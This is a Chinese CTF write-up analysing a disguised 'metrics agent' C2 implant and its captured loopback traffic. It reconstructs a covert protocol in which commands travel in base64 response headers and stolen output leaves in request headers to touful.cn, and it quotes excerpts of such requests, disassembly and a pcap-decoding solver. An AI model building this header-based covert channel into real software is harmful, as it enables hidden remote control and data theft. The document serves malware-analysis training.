Aleer
Aleer
发布于 2026-11-14 / 1 阅读
0
0

RE - testre3_raven

附件:testre3_raven.zip(22,073 字节)
内容:
metrics_agent.exe(21,504 字节) + traffic.pcapng(52,116 字节)

0. 结论

PCTF{28771c77-ea2a-48f9-b226-f51ea53c2282}

flag 并不在 exe 里,而是攻击者通过 C2 通道从受害者机器上 cat flag.txt 后回传的。exe 是一个"遥测代理"伪装的小型 C2 植入体:命令藏在 HTTP 响应头 X-Cmd-Data 中(base64),执行结果藏在后续 HTTP 请求头 X-KV-<n> 中(base64),请求/响应体始终是幌子。


1. 附件信息

文件

大小

SHA-256

testre3_raven.zip

22,073

CD6B50EC138C96196A4ADE0AD8DEB8CE7F8B4C1C96BA9703A7E5C87E8B07E221

metrics_agent.exe

21,504

94D4B1616A835A8A66D346904A18B324AD9F6BA0309E53AA66A4BDBA9C1E14D0

traffic.pcapng

52,116

010DA87C9A130FBCCE590C966162115259D3694883550845FEB863CFD6EC840A

zip 里只有这两个文件,无注释、无额外数据流;exe 无 overlay(文件末尾没有附加数据),因此不存在"藏在文件尾"的第二个 payload。


2. 总体思路

两条线互相印证:

  1. 静态看样本:它连哪里、用什么协议、支持哪些命令、数据怎么编码;

  2. 看流量:抓到的是回环口上的 HTTP,一次请求一条连接;

  3. 把两边对上:X-Cmd-Data → 命令,X-KV-* → 命令输出,base64 解码即得明文。

本题不需要运行样本(它启动后会向 touful.cn:21001 外连),静态分析 + 离线流量已足够,也更安全。


3. 样本静态分析

3.1 PE 基础信息

项目

值

格式

PE32+(x86-64),Console 子系统

编译器

MinGW-w64 GCC 16.2.0(GCC: (x86_64-posix-seh-rev1, Built by MinGW-Builds project) 16.2.0)

3.2 导入表画像

DLL

关键导入

能力

WS2_32.dll

WSAStartup getaddrinfo socket connect send recv closesocket

自实现 HTTP 客户端

KERNEL32.dll

FindFirstFileA FindNextFileA FindClose

实现 ls

GetCurrentDirectoryA SetCurrentDirectoryA

实现 pwd / cd

GetTickCount Sleep

uptime 伪装 / 轮询间隔

ADVAPI32.dll

GetUserNameA

实现 whoami

CRT

fopen fread fclose

实现 cat

strstr strchr strncmp _strnicmp strlen

解析 HTTP 头

srand rand _time64

生成随机伪装字段

没有 CryptoAPI、没有压缩库、没有反调试 API —— 这也提示数据编码只是 base64。

3.3 字符串:协议一眼可见

strings -n 2 metrics_agent.exe(或任意十六进制查看器)能看到:

字符串

作用

GET /api/v1/telemetry HTTP/1.1

轮询端点

Host: touful.cn:%d、21001

C2 域名与端口

User-Agent: ... (compatible; MetricsAgent/2.3; hello touful!)

固定 UA、作者标记

X-Session: %s、%s-%04x

会话 ID = 主机名 + 4 位随机 hex

X-Seq: %u

随机序号

X-Metrics-CPU/Mem/DiskIO/Threads、X-Uptime

伪装的遥测字段

X-Trace-Id、X-Span-Parent、X-Route、X-Bucket

伪装的链路字段

X-Cmd-Data

命令下发通道

X-KV-%d: %s、X-KV-Count: %d

结果回传通道

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

自带 base64 表

ls cd cat pwd hostname whoami

支持的命令

ls: cannot open %s cd: no such directory: %s cat: %s: not found

命令错误串

%.*s: command not supported

未知命令

注意:ls/cd 只有 2 字节、cat/pwd 只有 3 字节,默认的 strings(阈值 4)会漏掉它们,排查时建议用 -n 2。

3.4 代码证据

命令分派按长度做一级分类(rdi = 命令长度):

0x1400033b5: cmp  rdi, 2
0x1400033b9: je   0x140003747      ; "ls" / "cd"
0x1400033bf: cmp  rdi, 3
0x1400033c3: je   0x1400038ed      ; "cat" / "pwd"
0x1400033c9: cmp  rdi, 8
0x1400033cd: je   0x1400037ba      ; "hostname"
0x1400033d3: cmp  rdi, 6
0x1400033d7: jne  0x1400033f6      ; -> "%.*s: command not supported"
0x1400033d9: lea  rdx, [rip+...]   ; "whoami"
0x1400033e9: call 0x1400029a8      ; 比较命令名 "whoami"

响应头解析:以 \r\n 为分隔逐行扫描,取行首后用 _strnicmp 比较 10 字节头名 X-Cmd-Data(大小写不敏感),再校验 ": ",最后对值做 base64 解码:

0x1400031c8: lea  rdx, [rip+0x2021]  ; "\r\n"
0x1400031d2: call 0x140002a88        ; 找下一个行分隔符
0x1400031e3: lea  r13, [rdi+2]       ; 行首 = CRLF + 2
0x1400031e7: mov  r8d, 0xa           ; len("X-Cmd-Data") = 10
0x1400031ed: lea  rdx, [rip+0x1ff1]  ; "X-Cmd-Data"
0x1400031f7: call _strnicmp          ; 头名比较(不区分大小写)
0x140003201: cmp  byte ptr [rdi+0xc], 0x3a   ; ':'
0x140003207: cmp  byte ptr [rdi+0xd], 0x20   ; ' '

结果分块编码:每块最多 0xF0 = 240 字节,逐块 base64 后写成 X-KV-<n>:

0x14000353b: mov  eax, 0xf0        ; chunk = min(remaining, 240)
0x14000354c: cmovg esi, eax
0x14000357d: lea  r8, [rip+...]    ; "X-KV-%d: %s"
0x1400035c6: ...                   ; "X-KV-Count: %d"

base64 编码/解码用的是自带查表实现(表位于 .rdata,0x1400052a0),标准字母表,无魔改。

3.5 协议重建

方向

字段

含义

C→S

GET /api/v1/telemetry

轮询

C→S

X-Session: LAPTOP-TOUFUL-d2e6

主机名 + 4 位随机 hex

C→S

X-Seq: <uint32>

随机序号(伪装 + 关联)

C→S

X-KV-1..N

base64(输出分块),N ≤ ⌈len/240⌉

C→S

X-KV-Count: N

分块数量

S→C

X-Cmd-Data: <base64>

待执行命令,仅在有命令时出现(样本唯一解析的响应头)

S→C

X-Cmd-Id: <8 hex>

服务端生成的任务编号;样本中无此字符串,仅作展示/关联

S→C

X-Poll-Interval: <n>

服务端装饰字段;样本中无此字符串,不参与轮询定时

验证方式:在 exe 中搜索字符串,X-Cmd-Data 存在,而 X-Cmd-Id、X-Poll-Interval 均不存在;实际请求间隔约 1.5–2.9 秒,也与响应里的 2–6 不相关,说明后者只是噪音。

响应体固定为 {"status":"ok"}(Content-Length 15),请求则没有 body —— 数据完全走头部,这正是它规避"只看 body"的检测思路。


4. 流量分析

4.1 抓包概况

traffic.pcapng 由 Dumpcap 4.6.4 在 Windows 11 上抓取,接口是 \Device\NPF_Loopback,抓包过滤器 tcp port 21001。

指标

值

pcapng 块

SHB ×1 + IDB ×1 + EPB ×333(另有 ISB ×1)

链路类型

LINKTYPE_NULL(0,BSD loopback,4 字节地址族前缀)

通信

127.0.0.1:<临时端口> ↔ 127.0.0.1:21001

HTTP 消息

56 条(28 请求 + 28 响应)

连接

28 条,每请求一条(Connection: close)

有命令的响应

9 条

携带结果的请求

9 条(其余 19 次为空轮询)

坑 1:链路类型是 0(DLT_NULL),不是常见的 Ethernet(1)。按以太网解析会得到 0 条流;需要先跳过 4 字节地址族(02 00 00 00 = AF_INET)。

坑 2:每条连接只承载一条 HTTP 消息,Connection: close,所以按四元组聚合即可,不需要处理 keep-alive。

4.2 交互连接形式

带命令的响应(节选):

HTTP/1.1 200 OK
server: edge-gateway
content-type: application/vnd.metrics+json
x-poll-interval: 6
x-cmd-id: 0204F2BD
x-cmd-data: Y2F0IGZsYWcudHh0
content-length: 15
​
{"status":"ok"}

Y2F0IGZsYWcudHh0 → cat flag.txt。

下一次轮询把执行结果带回来(节选):

GET /api/v1/telemetry HTTP/1.1
host: touful.cn:21001
user-agent: Mozilla/5.0 (compatible; MetricsAgent/2.3; hello touful!)
x-session: LAPTOP-TOUFUL-d2e6
x-seq: 3579588311
x-metrics-cpu: 34.27
...
x-kv-1: UENURnsyODc3MWM3Ny1lYTJhLTQ4ZjktYjIyNi1mNTFlYTUzYzIyODJ9Cg==
x-kv-count: 1
connection: close

UENURnsyODc3MWM3Ny1lYTJhLTQ4ZjktYjIyNi1mNTFlYTUzYzIyODJ9Cg== → PCTF{28771c77-ea2a-48f9-b226-f51ea53c2282}\n。

4.3 部分噪音头

一次请求里有 15 个左右的头,只有 X-KV-* 携带数据;其余是随机数、主机名或计时器拼出来的伪装字段:

  • X-Metrics-CPU/Mem/DiskIO/Threads、X-Uptime:伪造的性能指标;

  • X-Trace-Id、X-Span-Parent、X-Route、X-Bucket:伪造的链路追踪;

  • X-Seq、X-Session:随机/主机名派生,起"正常客户端"伪装作用。

响应侧同理:X-RateLimit-*、X-Cache、X-Backend、X-Cluster-Epoch、X-Job-Queue、X-Feature-Flags、X-Poll-Interval 都是幌子,真正被样本读取的只有 X-Cmd-Data;X-Cmd-Id 只是服务端给命令编的号,样本并不解析。

4.4 完整命令时间线

#

X-Cmd-Id

命令

输出(trim 后)

1

B9058F0E

hostname

LAPTOP-TOUFUL

2

3FF3D95E

whoami

touful

3

CCFF5B4F

pwd

C:\Users\touful\pctf3_run\victim_home

4

758F7F72

ls

flag.txt、secret.dat、todo.txt

5

7FA7F0C2

cat todo.txt

写周报 / 给服务器打补丁 / 记得备份 flag.txt

6

A29FE182

cd ..

C:\Users\touful\pctf3_run

7

A637271E

ls

metrics_agent.exe、playbook.txt、victim_home <DIR>

8

6068A951

cd victim_home

C:\Users\touful\pctf3_run\victim_home

9

0204F2BD

cat flag.txt

PCTF{28771c77-ea2a-48f9-b226-f51ea53c2282}

操作者中途还犹豫了一下:cd .. 之后先空轮询了一次,再 ls,随后又 cd victim_home 去读 flag.txt。secret.dat、playbook.txt 全程没有被读取,是干扰项。

cat todo.txt 的输出是 UTF-8 中文:写周报 / 给服务器打补丁 / 记得备份 flag.txt——"记得备份"算是给 flag.txt 埋的伏笔。


5. 提取 flag

对第 9 条命令的结果做 base64 解码:

UENURnsyODc3MWM3Ny1lYTJhLTQ4ZjktYjIyNi1mNTFlYTUzYzIyODJ9Cg==
  -> PCTF{28771c77-ea2a-48f9-b226-f51ea53c2282}\n

验证点:

  • 长度 42,符合 PCTF{ + 36 字符 UUID + };

  • 28771c77-ea2a-48f9-b226-f51ea53c2282 是合法 UUIDv4(第三段首位 4,第四段首位 b 属 RFC 4122 变体);

  • 整个 pcap 解码后只出现这一处 PCTF{...};exe 中不存在 PCTF/flag 明文(ASCII 与 UTF-16 均检查过),不存在"藏在二进制里的第二层"。


6. Exp

#!/usr/bin/env python3
"""Solve testre3_raven: recover the flag exfiltrated in traffic.pcapng.
​
Self-contained (stdlib only). Handles pcapng (SHB/IDB/EPB), DLT_NULL (0),
Ethernet (1) and raw IPv4 (101/228), reassembles TCP by sequence number,
parses the HTTP messages and decodes the base64 C2 headers:
​
    server -> client : X-Cmd-Data: base64(command)
    client -> server : X-KV-<n>: base64(output chunk), X-KV-Count: N
​
Usage: python solve_raven.py traffic.pcapng
"""
from __future__ import annotations
​
import base64
import re
import struct
import sys
from collections import defaultdict
​
​
# --------------------------------------------------------------------------
# pcapng
# --------------------------------------------------------------------------
def read_pcapng(path: str):
    data = open(path, "rb").read()
    off, linktypes, packets = 0, [], []
    while off + 12 <= len(data):
        btype, blen = struct.unpack_from("<II", data, off)
        if blen < 12 or off + blen > len(data):
            break
        body = data[off + 8: off + blen - 4]
        if btype == 0x0A0D0D0A:          # Section Header Block
            linktypes = []
        elif btype == 0x00000001:        # Interface Description Block
            linktypes.append(struct.unpack_from("<H", body, 0)[0])
        elif btype == 0x00000006:        # Enhanced Packet Block
            iface, tsh, tsl, cap, _ = struct.unpack_from("<IIIII", body, 0)
            lt = linktypes[iface] if iface < len(linktypes) else 1
            packets.append(((tsh << 32) | tsl, lt, body[20:20 + cap]))
        elif btype == 0x00000003:        # Simple Packet Block
            orig = struct.unpack_from("<I", body, 0)[0]
            packets.append((0, linktypes[0] if linktypes else 1, body[4:4 + orig]))
        off += blen
    return packets
​
​
# --------------------------------------------------------------------------
# TCP reassembly (enough for this capture)
# --------------------------------------------------------------------------
def tcp_payload(linktype: int, pkt: bytes):
    if linktype == 1:                    # Ethernet
        if len(pkt) < 14:
            return None
        et, l3 = struct.unpack_from(">H", pkt, 12)[0], 14
        while et in (0x8100, 0x88A8) and len(pkt) >= l3 + 4:
            et = struct.unpack_from(">H", pkt, l3 + 2)[0]
            l3 += 4
        if et != 0x0800:
            return None
    elif linktype == 0:                  # BSD loopback: 4-byte AF
        l3 = 4
    elif linktype in (101, 228):         # raw IPv4
        l3 = 0
    else:
        return None
​
    if len(pkt) < l3 + 20 or pkt[l3] >> 4 != 4:
        return None
    ihl = (pkt[l3] & 0x0F) * 4
    if pkt[l3 + 9] != 6:                 # TCP only
        return None
    src = ".".join(map(str, pkt[l3 + 12:l3 + 16]))
    dst = ".".join(map(str, pkt[l3 + 16:l3 + 20]))
    t = l3 + ihl
    sport, dport, seq = struct.unpack_from(">HHI", pkt, t)
    doff = (pkt[t + 12] >> 4) * 4
    return src, sport, dst, dport, seq, pkt[t + doff:]
​
​
def http_messages(path: str):
    flows = defaultdict(list)
    for ts, lt, pkt in read_pcapng(path):
        r = tcp_payload(lt, pkt)
        if r and r[5]:
            src, sport, dst, dport, seq, payload = r
            flows[(src, sport, dst, dport)].append((ts, seq, payload))
​
    msgs = []
    for (src, sport, dst, dport), segs in flows.items():
        segs.sort()
        buf = b"".join(p for _, _, p in segs)
        sep = buf.find(b"\r\n\r\n")
        if sep < 0:
            continue
        head = buf[:sep].decode("latin-1").replace("\r\n", "\n").split("\n")
        headers = {}
        for line in head[1:]:
            if ":" in line:
                k, v = line.split(":", 1)
                headers[k.strip().lower()] = v.strip()
        msgs.append((segs[0][0], src, sport, dst, dport, head[0], headers))
    msgs.sort(key=lambda m: m[0])
    return msgs
​
​
# --------------------------------------------------------------------------
# C2 decoding
# --------------------------------------------------------------------------
def b64(s: str) -> bytes:
    return base64.b64decode(s + "=" * (-len(s) % 4))
​
​
def text(raw: bytes) -> str:
    try:
        return raw.decode("utf-8")
    except UnicodeDecodeError:
        return raw.decode("latin-1")
​
​
def main(path: str) -> None:
    try:  # keep Chinese output readable on legacy Windows consoles
        sys.stdout.reconfigure(encoding="utf-8")
    except Exception:
        pass
​
    msgs = http_messages(path)
    print(f"[*] HTTP messages: {len(msgs)}")
​
    pending_cmd, results = None, []
    for ts, src, sport, dst, dport, start, h in msgs:
        if start.startswith("HTTP/"):
            if "x-cmd-data" in h:
                pending_cmd = b64(h["x-cmd-data"]).decode("utf-8", "replace")
                print(f"[CMD ] {h.get('x-cmd-id', '-'):>8}  {pending_cmd}")
        elif "x-cmd-data" not in h:
            keys = sorted((k for k in h if re.fullmatch(r"x-kv-\d+", k)),
                          key=lambda k: int(k.rsplit("-", 1)[1]))
            if keys and pending_cmd:
                out = b"".join(b64(h[k]) for k in keys)
                results.append((pending_cmd, out))
                print(f"[OUT ] {h.get('x-seq', '-'):>10}  {text(out)!r}")
                pending_cmd = None
​
    print("\n[*] command/result pairs:")
    for cmd, out in results:
        print(f"  {cmd!r:20s} -> {text(out).strip()!r}")
​
    blob = "\n".join(text(out) for _, out in results)
    flags = re.findall(r"PCTF\{[^}\r\n]+\}", blob)
    print("\n[+] flag:", flags[0] if flags else "<not found>")
​
​
if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "traffic.pcapng")

运行:

$ python solve_raven.py traffic.pcapng
[*] HTTP messages: 56
[CMD ] B9058F0E  hostname
[OUT ] 3712588833  'LAPTOP-TOUFUL\r\n'
[CMD ] 3FF3D95E  whoami
[OUT ]  115142684  'touful\r\n'
[CMD ] CCFF5B4F  pwd
[OUT ] 1872817567  'C:\\Users\\touful\\pctf3_run\\victim_home\r\n'
[CMD ] 758F7F72  ls
[OUT ] 1109682538  'flag.txt                                 \r\nsecret.dat                               \r\ntodo.txt                                 \r\n'
[CMD ] 7FA7F0C2  cat todo.txt
[OUT ] 1415621181  '写周报\n给服务器打补丁\n记得备份 flag.txt\n'
[CMD ] A29FE182  cd ..
[OUT ]  491788504  'C:\\Users\\touful\\pctf3_run\r\n'
[CMD ] A637271E  ls
[OUT ] 2819583078  'metrics_agent.exe                        \r\nplaybook.txt                             \r\nvictim_home                              <DIR>\r\n'
[CMD ] 6068A951  cd victim_home
[OUT ] 1169551892  'C:\\Users\\touful\\pctf3_run\\victim_home\r\n'
[CMD ] 0204F2BD  cat flag.txt
[OUT ] 3579588311  'PCTF{28771c77-ea2a-48f9-b226-f51ea53c2282}\n'

[*] command/result pairs:
  'hostname'           -> 'LAPTOP-TOUFUL'
  'whoami'             -> 'touful'
  'pwd'                -> 'C:\\Users\\touful\\pctf3_run\\victim_home'
  'ls'                 -> 'flag.txt                                 \r\nsecret.dat                               \r\ntodo.txt'
  'cat todo.txt'       -> '写周报\n给服务器打补丁\n记得备份 flag.txt'
  'cd ..'              -> 'C:\\Users\\touful\\pctf3_run'
  'ls'                 -> 'metrics_agent.exe                        \r\nplaybook.txt                             \r\nvictim_home                              <DIR>'
  'cd victim_home'     -> 'C:\\Users\\touful\\pctf3_run\\victim_home'
  'cat flag.txt'       -> 'PCTF{28771c77-ea2a-48f9-b226-f51ea53c2282}'

[+] flag: PCTF{28771c77-ea2a-48f9-b226-f51ea53c2282}

脚本要点

  1. pcapng 解析:按块长度遍历,SHB 重置接口表,IDB 记录 linktype,EPB 取包体;

  2. 链路层:linktype==0 跳过 4 字节 AF;1 走 Ethernet(含 VLAN);101/228 直接是 IP;

  3. 重组:按 (src, sport, dst, dport) 聚合,按序号排序拼接(本流量无重传/乱序,简单排序即可);

  4. HTTP:只切头部(\r\n\r\n 之前),header 名统一小写;

  5. 配对:响应里的 X-Cmd-Data 记为“待回传命令”,下一个带 X-KV-* 的请求就是它的输出;

  6. 分块:X-KV-n 按 n 数值排序后拼接(字符串排序会把 10 排到 2 前面);

  7. 提取:在全部输出里正则找 PCTF\{[^}]+\}。


7. 其他解法

Wireshark 手工流

  1. 打开 pcapng,过滤 http;

  2. 任意请求 → 右键 Follow → TCP Stream;

  3. 在头部里找 X-KV-1:、X-Cmd-Data:;

  4. 复制值到 CyberChef 的 From Base64,或:

python -c "import base64;print(base64.b64decode('UENURnsyODc3MWM3Ny1lYTJhLTQ4ZjktYjIyNi1mNTFlYTUzYzIyODJ9Cg=='))"


评论